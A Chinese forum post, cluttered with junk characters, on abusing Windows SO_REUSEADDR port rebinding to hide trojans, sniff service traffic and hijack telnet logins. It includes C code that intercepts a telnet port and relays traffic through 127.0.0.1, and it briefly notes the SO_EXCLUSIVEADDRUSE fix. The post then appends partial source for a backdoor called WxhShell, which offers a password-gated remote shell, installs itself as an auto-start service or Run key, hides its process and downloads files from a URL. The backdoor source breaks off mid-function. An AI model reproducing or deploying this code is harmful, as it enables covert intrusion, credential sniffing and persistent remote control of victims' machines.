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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Na6z,TW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h[8y$.YsC  
#CS>A# Lk  
  saddr.sin_family = AF_INET; lX4p'R-h  
2bJFlxEU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c'B"Onu@m*  
"n6Y^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l =yHx\  
!:t9{z{Ixg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |i`@!NrFL  
E&+ ^H on  
  这意味着什么?意味着可以进行如下的攻击: 6-=_i)kzq  
}gW}Vr <  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7asq]Y}<  
XJzXxhk2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ".)_kt[  
O$H150,Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H+;wnI>@  
YzZF^q^I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .HBvs=i  
(6BCFl:/Q<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *e6|SZ &3  
ger<JSL%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1pb;A;F,A  
0uz"}v)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Rpk`fxAO  
`"H?nf0  
  #include Ds87#/Yfv  
  #include rxK0<pWJhx  
  #include (OqJet2{+  
  #include    X4$e2f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vs. uq  
  int main() HUC2RM?FN  
  { +I<Sq_-  
  WORD wVersionRequested; $P(nh'\  
  DWORD ret; #FB>}:L{h*  
  WSADATA wsaData; [!&k?.*;<  
  BOOL val; A,{D9-%  
  SOCKADDR_IN saddr; FZnH G;af  
  SOCKADDR_IN scaddr; .NT&>X~.V  
  int err; Y*k<NeDyn  
  SOCKET s; lAk1ncx  
  SOCKET sc; i'wF>EBz  
  int caddsize; ?X'* p<`  
  HANDLE mt; ?i~/gjp  
  DWORD tid;   8q3TeMYV  
  wVersionRequested = MAKEWORD( 2, 2 ); hzLGmWN2j8  
  err = WSAStartup( wVersionRequested, &wsaData ); 2 mZ/ 3u  
  if ( err != 0 ) { wP/9z(US  
  printf("error!WSAStartup failed!\n"); RC(D=6+[C  
  return -1; @WHd(ka!  
  } %5*#c*)R  
  saddr.sin_family = AF_INET; ?Q)Z..7  
   ['emP1g~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5{q/z^]  
z,|%? 1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uAs*{:4n  
  saddr.sin_port = htons(23); 9Nu#&_2R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [T]qm7 ?  
  { WWcm(q =  
  printf("error!socket failed!\n"); ZYe\"|x,s  
  return -1; 9yo[T(8  
  } K=x1m M+RK  
  val = TRUE; hZWK5KwT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pMp9 O/u%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W<91m*  
  { a<'$`z|s  
  printf("error!setsockopt failed!\n"); THgzT\_zq  
  return -1; 4sBoD=e  
  } Kw0V4UF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0~b6wuFl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !7`=rT&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j' KobyX<  
d4>-a^)V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8ex:OTzn|  
  { y/I ~x+ y  
  ret=GetLastError(); 4VJzs$  
  printf("error!bind failed!\n"); 2Lekckgv  
  return -1; oHXW])[  
  } UUf1T@-  
  listen(s,2); aE+$&_>ef  
  while(1) .cS,T<$  
  { 0aTbzOn&  
  caddsize = sizeof(scaddr); G\N"rG=  
  //接受连接请求 7]xz8t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qm8n7Z/  
  if(sc!=INVALID_SOCKET) C.)&FW2F_  
  { Bb [e[,ah  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &9dr+o-(~  
  if(mt==NULL) y2"S\%7$h  
  { z!C4>,  
  printf("Thread Creat Failed!\n"); G\>\VA  
  break; +.#S[G  
  } "8iiRzt#  
  } 3b)T}g  
  CloseHandle(mt); VgsCwJ9w  
  } 2<o[@w  
  closesocket(s); *!]Epb  
  WSACleanup(); 199hQxib:  
  return 0; _2X6bIE  
  }   [{p?BTs  
  DWORD WINAPI ClientThread(LPVOID lpParam) -)a_ub  
  { 4a.e ,gitf  
  SOCKET ss = (SOCKET)lpParam; e4YfT r  
  SOCKET sc; pL}j ZTo  
  unsigned char buf[4096]; 0SCW2/o8  
  SOCKADDR_IN saddr; (zJ$oRq  
  long num; Pv %vx U  
  DWORD val; KT;C RO>  
  DWORD ret; yCkW2p]s,K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %{~mk[d3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -?w v}o  
  saddr.sin_family = AF_INET; zNr_W[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <aSLm=  
  saddr.sin_port = htons(23); _h=< _Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MZMS ?}.2  
  { xK),:+G(  
  printf("error!socket failed!\n"); S,Wl)\  
  return -1; oF b mz*  
  } 7{+Io  
  val = 100; `b#nC[b6|v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X:SzkkVl7  
  { $Y 4ch ko  
  ret = GetLastError(); gc2|V6(  
  return -1; n?e@):  
  } o eJC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %<J(lC9,C  
  { Kjn&  
  ret = GetLastError(); "E ok;io  
  return -1; "l[ V%f E  
  } AY/-j$5+?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U8QR*"GmT  
  { 8A8xY446)  
  printf("error!socket connect failed!\n"); g?A5'o&Yu  
  closesocket(sc); Sp`fh7d.(  
  closesocket(ss); d JQ }{,+6  
  return -1; mWN1Q<vn,l  
  } *@G(3 n  
  while(1) ^{fi^lL=  
  { 4-d99|mv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zN)|g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g=oeS%>E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 76IALJ00V  
  num = recv(ss,buf,4096,0); q0b`HD  
  if(num>0) !|Xl 8lV`  
  send(sc,buf,num,0); :L [YmZ  
  else if(num==0) B=q)}aWc  
  break; Jp.3KA>  
  num = recv(sc,buf,4096,0); ."F'5eTT~  
  if(num>0) >d27[%  
  send(ss,buf,num,0); -@ UN]K  
  else if(num==0) k;K> ,$ F  
  break; K.#,O+-Kg`  
  } / UaNYv/  
  closesocket(ss); C6D=>%uY  
  closesocket(sc); ^`TKvcgIc  
  return 0 ; 3D$\y~HU  
  } 4iYKW2a  
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========================================================== "S B%02  
/]k ,,&  
下边附上一个代码,,WXhSHELL *2"bG1`  
gf3u0' $  
========================================================== <(#xOe  
N'eQ>2>O@  
#include "stdafx.h" oA!5dpNhU  
"9U+h2#]  
#include <stdio.h> j:v~MrQ7|  
#include <string.h> mI?* Z%>g  
#include <windows.h> =2;mxJ#o  
#include <winsock2.h> '.%iPMM  
#include <winsvc.h> MfNpQ:]c\  
#include <urlmon.h> Jv 6nlK`  
4+/fP  
#pragma comment (lib, "Ws2_32.lib") x^M5D+o  
#pragma comment (lib, "urlmon.lib") ')P2O\YS  
j'#jnP*P  
#define MAX_USER   100 // 最大客户端连接数 0uVk$\:i  
#define BUF_SOCK   200 // sock buffer r3[t<xlFf  
#define KEY_BUFF   255 // 输入 buffer r}_Lb.1]  
) 8x:x7?  
#define REBOOT     0   // 重启 .y %pGi  
#define SHUTDOWN   1   // 关机 y(/jTS/ hd  
Xc8= 2n  
#define DEF_PORT   5000 // 监听端口 kwDh|K  
^ Hz  
#define REG_LEN     16   // 注册表键长度 h \D_  
#define SVC_LEN     80   // NT服务名长度 y"|K |QT  
t`<}UWAH+  
// 从dll定义API uKR\Xo}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); so?pA@O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cotxo?)Zv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o;M.Rt\A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XI@6a9Uk  
` x%U  
// wxhshell配置信息 5T$9'5V7  
struct WSCFG { gtaV6sD  
  int ws_port;         // 监听端口 Qm35{^p+  
  char ws_passstr[REG_LEN]; // 口令 097Fvt=#  
  int ws_autoins;       // 安装标记, 1=yes 0=no #L@} .Giz  
  char ws_regname[REG_LEN]; // 注册表键名 pW*{Mx  
  char ws_svcname[REG_LEN]; // 服务名 1AV1d%F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g{g`YvLu^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gZ`32fB%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RsqRR`|X?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !q~X*ZKse  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7gVh!rm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * 1 |YLy  
x38SSzG:L  
}; tsTR2+GZS  
>u9id>+  
// default Wxhshell configuration Ax5mP8S  
struct WSCFG wscfg={DEF_PORT, ?r -\%_J_(  
    "xuhuanlingzhe", N5q}::Odc  
    1, u"`5  
    "Wxhshell", (TT3(|v  
    "Wxhshell", :DOr!PNA  
            "WxhShell Service", 936Ff*%(l  
    "Wrsky Windows CmdShell Service", 4c5^7";P  
    "Please Input Your Password: ", $ 7U Dz  
  1, b{~fVil$y  
  "http://www.wrsky.com/wxhshell.exe", JYZ2k=zh  
  "Wxhshell.exe" 1KeJd&e  
    }; egZyng pB  
w8AJ#9W  
// 消息定义模块 wb(*7 &eP:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o|z+!,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^?$D.^g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; & cM u/}  
char *msg_ws_ext="\n\rExit."; l 8O"w&  
char *msg_ws_end="\n\rQuit."; :3111}>c  
char *msg_ws_boot="\n\rReboot..."; -kG3k> by_  
char *msg_ws_poff="\n\rShutdown..."; (w5u*hx  
char *msg_ws_down="\n\rSave to "; ]4Nvh\/P9  
?8Hn {3X  
char *msg_ws_err="\n\rErr!"; /_NkB$&  
char *msg_ws_ok="\n\rOK!"; fkdf~Vb  
BKa A=Bl  
char ExeFile[MAX_PATH]; -vyIOH,  
int nUser = 0; #5'c\\?Q  
HANDLE handles[MAX_USER]; 07.nq;/R  
int OsIsNt; 3c01uObTL  
"-G&=(  
SERVICE_STATUS       serviceStatus; >|l;*Kw,/P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P_,v5Qx"-  
gbYLA a  
// 函数声明 > ]>0KQfO  
int Install(void); D3<IuWeM  
int Uninstall(void); >}ro[x`K  
int DownloadFile(char *sURL, SOCKET wsh); <T(s\N5B=  
int Boot(int flag); =}~NRmmF  
void HideProc(void); I["F+kt^^  
int GetOsVer(void); e(?:g@]-r  
int Wxhshell(SOCKET wsl); 5Z* b(R  
void TalkWithClient(void *cs); |$YyjYK  
int CmdShell(SOCKET sock); m(2G*}  
int StartFromService(void); \w{@u)h  
int StartWxhshell(LPSTR lpCmdLine); f Ub1/-}  
,]0S4h67  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 17e=GL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l_^T&xq8  
Oamv9RyDvC  
// 数据结构和表定义 Kg4QT/0VA  
SERVICE_TABLE_ENTRY DispatchTable[] = zt7_r`#z  
{ ]O6KKz  
{wscfg.ws_svcname, NTServiceMain}, x7vq?fP0n  
{NULL, NULL} J9g|#1G  
}; /yLzDCKn  
w@87]/4Rq  
// 自我安装 i?ZA x4D  
int Install(void) oR-O~_) U  
{ J$1j-\KS  
  char svExeFile[MAX_PATH]; N YCj; ,V  
  HKEY key; [?;`x&y~y  
  strcpy(svExeFile,ExeFile); TcR=GR*cJ  
=hJfL}&O3  
// 如果是win9x系统,修改注册表设为自启动 +2- qlU  
if(!OsIsNt) { S$S_nNq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y:qx5Mi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z+Kv+GmqH  
  RegCloseKey(key); K|`+C1!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VMaS;)0f@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j%#?m2J}  
  RegCloseKey(key); P;j&kuW|zL  
  return 0; fr8Xoa%1=  
    } H":/Ckok  
  } .6\T`6H=a  
} 7*+Km'=M  
else { YkSuwx@5_q  
r])Z9bbi  
// 如果是NT以上系统,安装为系统服务 nHrP>zN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _o\>V:IZ  
if (schSCManager!=0) KA`0g=  
{ \^Ep>Pq`]  
  SC_HANDLE schService = CreateService 9X!ET!  
  ( $2Kau 1  
  schSCManager, iwvt%7  
  wscfg.ws_svcname, PoJmW^:}  
  wscfg.ws_svcdisp, `tX@8|  
  SERVICE_ALL_ACCESS, aD+0\I[x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z9^c]U U)E  
  SERVICE_AUTO_START, Cy`26[E$S  
  SERVICE_ERROR_NORMAL, F|,6N/;!W  
  svExeFile, v}Z9+ yRC2  
  NULL, _Q> "\_,  
  NULL, }6<)yW}U  
  NULL, h5x*NM1Ih  
  NULL, {W-5:~?"  
  NULL Dh2#$[/@1  
  ); !IN @i:m  
  if (schService!=0) DUqJ y*F(  
  { w nWgy4:  
  CloseServiceHandle(schService); j+$ M?Z^  
  CloseServiceHandle(schSCManager); "<qEXX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AU/#b(mI  
  strcat(svExeFile,wscfg.ws_svcname); itw{;j   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )^&,Dj   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bw6L;Vu  
  RegCloseKey(key); ;xhOj<:  
  return 0; `ovgWv  
    } \N?7WQ  
  } FtN}]@F  
  CloseServiceHandle(schSCManager); }X.>4\B5  
} 3!>/smb !  
} &&&9  
z* RSMfRW  
return 1; ?<! nm&~  
} =9^Q"t4  
UkZ\cc}aC/  
// 自我卸载 z /weit  
int Uninstall(void) 7 %3<~'v[  
{ *_ PPrx5  
  HKEY key; ZBF1rx?  
\<X2ns@Tf  
if(!OsIsNt) { V`by*s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #XcU{5Qm5  
  RegDeleteValue(key,wscfg.ws_regname); -/zp&*0gcx  
  RegCloseKey(key); -]/7hN*v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A])OPqP{  
  RegDeleteValue(key,wscfg.ws_regname); O"\nR:\  
  RegCloseKey(key); ujx@@N  
  return 0; %Z7%jma  
  } fSjs?zd`  
} l~rb]6E  
} $6# lTYN~  
else { Rnr#$C%  
+ZclGchw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "?P[9x}  
if (schSCManager!=0) L@nebT;\'  
{ {M [~E|@D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !9DX=?  
  if (schService!=0) jQ?LHUE  
  { #sZIDn J#  
  if(DeleteService(schService)!=0) { 1+a@k  
  CloseServiceHandle(schService); .1LPlZ  
  CloseServiceHandle(schSCManager); 7-X/>v  
  return 0; {\EOo-&A  
  } Ssf+b!e]  
  CloseServiceHandle(schService); MQJ%He"  
  } 3"Yif  
  CloseServiceHandle(schSCManager); 0yz~W(tsm  
} S7CV w,2  
} 9_UN.]  
+bUW!$G  
return 1; -TTs.O8P|<  
} x#mtS-sw2Q  
>fH*XP>(  
// 从指定url下载文件 vr4O8#  
int DownloadFile(char *sURL, SOCKET wsh) ;%W dvnW  
{ N xFUO0O3  
  HRESULT hr; ) "[HZ/  
char seps[]= "/"; (i]Z|@|)  
char *token; 1%jH^,t/m  
char *file; 3 z=\ .R  
char myURL[MAX_PATH]; v,jhE9_O0  
char myFILE[MAX_PATH]; =U"dPLax  
U<[jT=L  
strcpy(myURL,sURL); Oc~aW3*A(  
  token=strtok(myURL,seps); B6MkF"J<  
  while(token!=NULL) M&f#wQ  
  { RLHYw@-j@  
    file=token; ybE[B}pOeZ  
  token=strtok(NULL,seps); bAiJn<  
  } s"coQ!e1.  
Bc<n2 C0  
GetCurrentDirectory(MAX_PATH,myFILE); TF\sP8>V  
strcat(myFILE, "\\"); 4mJFvDZV`  
strcat(myFILE, file); 88l,&2q  
  send(wsh,myFILE,strlen(myFILE),0); 0% +'  
send(wsh,"...",3,0); 8_a3'o%5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `%=<R-/#7S  
  if(hr==S_OK) iP#=:HZu;  
return 0; J {tVa(.  
else qjAh6Q/E`  
return 1; h/K@IA d  
.$0Pr%0pWI  
} C ) ?uE'  
bi$VAYn.^  
// 系统电源模块 mxp Y&Y  
int Boot(int flag) yFjVKp'P  
{ PS@*qTin  
  HANDLE hToken; H^ BYd%-  
  TOKEN_PRIVILEGES tkp; `Wn Q   
PsbG|~  
  if(OsIsNt) { utH%y\NMF|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,E}$[mHyjz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [l*;E f,  
    tkp.PrivilegeCount = 1; mU@xc N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V`bs&5#Sx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >1ZJ{se  
if(flag==REBOOT) { 6P*O&1hv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [/$N!2'5  
  return 0; RJ}#)cT  
} X;!~<~@Y  
else { bfdVED  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p/*"4-S  
  return 0; _a5(s2wq+  
} `R+,1"5=  
  } AVFjBybu9  
  else { Q9slfQ  
if(flag==REBOOT) {  g_q<ze  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,S!w'0k|n  
  return 0; CW`!}yu%  
} f Iy]/  
else { >emcJVYV`[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *||d\peQ  
  return 0; _u5dC   
} /S~m)$vu  
} A,#2^dR  
SaO3 zz@L  
return 1; .=<$S#x^Hb  
} E FY@Y[  
o8ppMM8_R[  
// win9x进程隐藏模块 XUS vhr$|  
void HideProc(void) ^E,1V5  
{ O3qM1-k}S  
Phs-(3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cq\I''~8  
  if ( hKernel != NULL ) :2y"3azxk  
  { B42sb_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zwr\:Hu4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "b,%8  
    FreeLibrary(hKernel); n:4uA`Vg  
  } ; Lql_1  
*e/K:k  
return; T3pdx~66  
} |B^G:7c  
Vmi{X b]<  
// 获取操作系统版本 JhX=l-?  
int GetOsVer(void) yI)~]K r  
{ VKW|kU7Cs$  
  OSVERSIONINFO winfo; }}T,W.#%u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jpj!rXTX*  
  GetVersionEx(&winfo); W?z#pV+jt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H%}IuHhN)  
  return 1; Y*LaBxt Q  
  else X_ ?97iXjx  
  return 0; c/aup  
} '{[),*nCn  
2Z/K(J"&J  
// 客户端句柄模块 KnzsHli,~k  
int Wxhshell(SOCKET wsl) YQ]\uT>}&  
{ !;3PG9n3|h  
  SOCKET wsh; a07=tD  
  struct sockaddr_in client; ll<NIdf\r  
  DWORD myID; M1!pQC_9  
.p&Yr%~  
  while(nUser<MAX_USER) z" QJhCh7  
{ thW<   
  int nSize=sizeof(client); =Ho"N`Qy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lMifpK  
  if(wsh==INVALID_SOCKET) return 1; h(' )"  
t"AzI8O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); } !s!;BOx  
if(handles[nUser]==0) DQXS$uBT  
  closesocket(wsh); :c]`D>  
else Q-eCHr)  
  nUser++; g,kzQ}_  
  } cAuY4RV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K@:m/Z}|4  
!GK$[9  
  return 0; ${hz e<g  
} p{Sh F.  
<{J5W6  
// 关闭 socket " I+p  
void CloseIt(SOCKET wsh) 6Bt=^~d  
{ -1r2K  
closesocket(wsh); eon!CE0  
nUser--; x?yD=Mq_  
ExitThread(0); O'DW5hBL0  
} C"w {\ &R  
KMK`F{  
// 客户端请求句柄 U 4,2br>  
void TalkWithClient(void *cs) .dmi#%W  
{ yL1bS|@  
SpSnoVI  
  SOCKET wsh=(SOCKET)cs; bGXR7u&K  
  char pwd[SVC_LEN]; 6Y384  
  char cmd[KEY_BUFF]; 4)1;0,tlG  
char chr[1]; (ywo a  
int i,j; cO#oH2}  
.ln8|;%  
  while (nUser < MAX_USER) { =Agg_h   
CAc %f9!3  
if(wscfg.ws_passstr) { [rY T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @gfDp<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RW7(r/C  
  //ZeroMemory(pwd,KEY_BUFF); 7C,T&g 1:  
      i=0; IB5BO7J  
  while(i<SVC_LEN) { ;N=G=X|}  
Ug"rJMZG  
  // 设置超时 SZ!=`a]  
  fd_set FdRead; [`_io>*g  
  struct timeval TimeOut; -$a>f4]  
  FD_ZERO(&FdRead); 0@=MOGQb  
  FD_SET(wsh,&FdRead); H AB#pd9  
  TimeOut.tv_sec=8; $#NQ <3  
  TimeOut.tv_usec=0; bE\,}DTy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +: Ge_-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lE#m]D  
T1Ta?b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *~VxC{  
  pwd=chr[0]; S"2qJ!.u  
  if(chr[0]==0xd || chr[0]==0xa) { +8P,s[0<R_  
  pwd=0; xi'>mIT  
  break; ^4$ 'KIq  
  } cPF<D$B  
  i++; ;[0&G6g  
    } C2F0tr|  
~oD8Rnf  
  // 如果是非法用户,关闭 socket SW?p?<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E l&h;N   
} P`SnavQBt  
9s$U%F6}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); & eZfQ27$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1cJsj  
o|8`>!hF  
while(1) { t}p@:'  
V64L,u#`l  
  ZeroMemory(cmd,KEY_BUFF); Zm TDQ`Ix  
^y_fRP~  
      // 自动支持客户端 telnet标准   `sHuM*  
  j=0; $ 17 su')  
  while(j<KEY_BUFF) { JhK/']R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )9j06(<A  
  cmd[j]=chr[0]; -pb&-@Hul  
  if(chr[0]==0xa || chr[0]==0xd) { peVq+(=.  
  cmd[j]=0; [J#1Ff;  
  break; Bx~[F  
  } Ubz"rCjq  
  j++; viaJblYj(f  
    } 2z0n<`  
udqS'g&  
  // 下载文件 Q=cQLf;/'  
  if(strstr(cmd,"http://")) { fQLax  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \x\ 5D^Vc  
  if(DownloadFile(cmd,wsh)) MBr:?PE7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d+L#t  
  else (jWss  V1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <9A@`_';Aq  
  } Ka_S n  
  else { >v5k{Cbp0  
S01wwZ  
    switch(cmd[0]) { BN_7Ay/k  
  t!;/Z6\Pb  
  // 帮助 Wsj=!Obc  
  case '?': { F@<0s&)1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n-;y*kD  
    break; bha?eN  
  } f^<6`Aeq  
  // 安装 vwGeD|Fb5  
  case 'i': { hsLzj\)6  
    if(Install()) hP@(6X,"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sKaE-sbJY  
    else b3$k9dmxV+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T3&`<%,f  
    break; /\d$/~BFi  
    } UHO_Z  
  // 卸载 ] gb=  
  case 'r': { S[:xqzyDg  
    if(Uninstall()) ;&;W T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ze^jG-SL$9  
    else q }C+tn"\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GR4?BuY,  
    break; !$qKb_#nC  
    } |FR3w0o  
  // 显示 wxhshell 所在路径 Ju` [m  
  case 'p': { VDEv>u4  
    char svExeFile[MAX_PATH]; } /^C|iS7  
    strcpy(svExeFile,"\n\r");  q" @  
      strcat(svExeFile,ExeFile); `cB_.&  
        send(wsh,svExeFile,strlen(svExeFile),0); VL( <  
    break; V,7%1TZ:  
    } mz7l'4']+  
  // 重启 ww d'0P`/  
  case 'b': { 2h^WYpCm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4N? v  
    if(Boot(REBOOT)) I?!rOU= 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -0HkTY  
    else { u V6g[J  
    closesocket(wsh); yl]FP@N(  
    ExitThread(0); I0= NaZ7  
    } "i)Yvh[y  
    break; do/)~9[4\  
    } mXWTm%'[  
  // 关机 I=DLPgzO9  
  case 'd': { |PVt}*0"  
